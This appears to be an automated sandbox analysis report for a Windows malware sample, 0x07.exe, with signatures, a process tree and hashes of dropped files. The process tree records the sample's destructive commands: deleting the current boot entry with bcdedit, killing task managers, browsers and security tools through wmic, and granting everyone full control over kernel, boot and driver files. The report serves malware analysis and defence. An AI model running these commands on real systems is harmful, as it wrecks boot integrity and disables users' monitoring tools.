Analysis

  • max time kernel
    98s
  • max time network
    98s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/03/2024, 23:14

General

  • Target
    0x07.exe
  • Size 247KB
  • Sample240329-28dh5scf23
  • SHA256 52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 25 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 25 IoCs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x07.exe
    "C:\Users\Admin\AppData\Local\Temp\0x07.exe"
    1⤵
    • Checks computer location settings
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\Temp\winconfig.exe
      "C:\Windows\Temp\winconfig.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3980
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9EE.tmp\9EF.tmp\9F0.bat C:\Windows\Temp\winconfig.exe"
        3⤵
        • Drops file in Drivers directory
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Users\Admin\AppData\Roaming\DetectKey.exe
          "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
          4⤵
          • Executes dropped EXE
          PID:1124
        • C:\Windows\system32\bcdedit.exe
          bcdedit /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4072
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='taskmgr.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2688
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='perfmon.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4680
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='mmc.exe' delete /nointeractive
          4⤵
            PID:1472
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where name='PartAssist.exe' delete /nointeractive
            4⤵
              PID:4552
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic process where name='control.exe' delete /nointeractive
              4⤵
                PID:1332
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic process where name='ProcessHacker.exe' delete /nointeractive
                4⤵
                  PID:5040
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic process where name='Security Task Manager.exe' delete /nointeractive
                  4⤵
                    PID:2132
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
                    4⤵
                      PID:4428
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic process where name='CCleaner.exe' delete /nointeractive
                      4⤵
                        PID:3276
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic process where name='procexp.exe' delete /nointeractive
                        4⤵
                          PID:548
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic process where name='procexp64.exe' delete /nointeractive
                          4⤵
                            PID:2892
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic process where name='procexp64a.exe' delete /nointeractive
                            4⤵
                              PID:4284
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic process where name='logonui.exe' delete /nointeractive
                              4⤵
                                PID:2480
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic process where name='regedit.exe' delete /nointeractive
                                4⤵
                                  PID:3044
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name='iexplore.exe' delete /nointeractive
                                  4⤵
                                    PID:2688
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic process where name='chrome.exe' delete /nointeractive
                                    4⤵
                                      PID:4680
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic process where name='firefox.exe' delete /nointeractive
                                      4⤵
                                        PID:2800
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic process where name='opera.exe' delete /nointeractive
                                        4⤵
                                          PID:1956
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic process where name='edge.exe' delete /nointeractive
                                          4⤵
                                            PID:456
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic process where name='msedge.exe' delete /nointeractive
                                            4⤵
                                              PID:2612
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic process where name='brave.exe' delete /nointeractive
                                              4⤵
                                                PID:3696
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic process where name='wmplayer.exe' delete /nointeractive
                                                4⤵
                                                  PID:5020
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic process where name='notepad.exe' delete /nointeractive
                                                  4⤵
                                                    PID:3276
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic process where name='notepad++.exe' delete /nointeractive
                                                    4⤵
                                                      PID:548
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                      4⤵
                                                        PID:2892
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                        4⤵
                                                          PID:4284
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                          4⤵
                                                            PID:2356
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                            4⤵
                                                              PID:2164
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskmgr.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:620
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\hal.dll"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:456
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\winload.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2492
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\ntoskrnl.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2912
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\perfmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3052
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\resmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2672
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2228
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskkill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2612
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tasklist.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3240
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tskill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3584
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4444
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Program Files\Process Hacker 2"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3412
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\System32\drivers"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4960
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic process where name='taskmgr.exe' delete /nointeractive
                                                              4⤵
                                                                PID:1256
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic process where name='perfmon.exe' delete /nointeractive
                                                                4⤵
                                                                  PID:2532
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic process where name='logonui.exe' delete /nointeractive
                                                                  4⤵
                                                                    PID:3552
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                    4⤵
                                                                      PID:2012
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4108
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3956
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2732
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:864
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4192
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3716
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3988
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1476
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1772
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2552
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4264
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2168
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                                      4⤵
                                                                        PID:4496
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                                        4⤵
                                                                          PID:1684
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                                          4⤵
                                                                            PID:5112
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                            4⤵
                                                                              PID:4904
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                              4⤵
                                                                                PID:2480
                                                                              • C:\Windows\system32\cacls.exe
                                                                                cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                                4⤵
                                                                                  PID:2916
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                  4⤵
                                                                                    PID:3852
                                                                                  • C:\Windows\system32\cacls.exe
                                                                                    cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                                    4⤵
                                                                                      PID:3840
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                      4⤵
                                                                                        PID:4452
                                                                                      • C:\Windows\system32\cacls.exe
                                                                                        cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                                        4⤵
                                                                                          PID:4424
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                          4⤵
                                                                                            PID:2164
                                                                                          • C:\Windows\system32\cacls.exe
                                                                                            cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                                            4⤵
                                                                                              PID:4888
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                              4⤵
                                                                                                PID:456
                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                                                4⤵
                                                                                                  PID:2352
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                  4⤵
                                                                                                    PID:4932
                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                    cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                                                    4⤵
                                                                                                      PID:2912
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                      4⤵
                                                                                                        PID:112
                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                        cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                                                        4⤵
                                                                                                          PID:4528
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                          4⤵
                                                                                                            PID:2672
                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                            cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                                                            4⤵
                                                                                                              PID:4268
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                              4⤵
                                                                                                                PID:1460
                                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                                cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                                                                4⤵
                                                                                                                  PID:4596
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                  4⤵
                                                                                                                    PID:4616
                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                    cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
                                                                                                                    4⤵
                                                                                                                      PID:3372
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                      4⤵
                                                                                                                        PID:3740
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls "C:\Windows\System32\drivers" /grant "everyone":F
                                                                                                                        4⤵
                                                                                                                          PID:3920

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v15

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                                                                                                                        Downloads

                                                                                                                        9F0.bat

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\9EE.tmp\9EF.tmp\9F0.bat
                                                                                                                        • Size 5KB
                                                                                                                        • SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        DetectKey.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
                                                                                                                        • Size 87KB
                                                                                                                        • SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        winconfig.exe

                                                                                                                        • Path C:\Windows\Temp\winconfig.exe
                                                                                                                        • Size 139KB
                                                                                                                        • SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP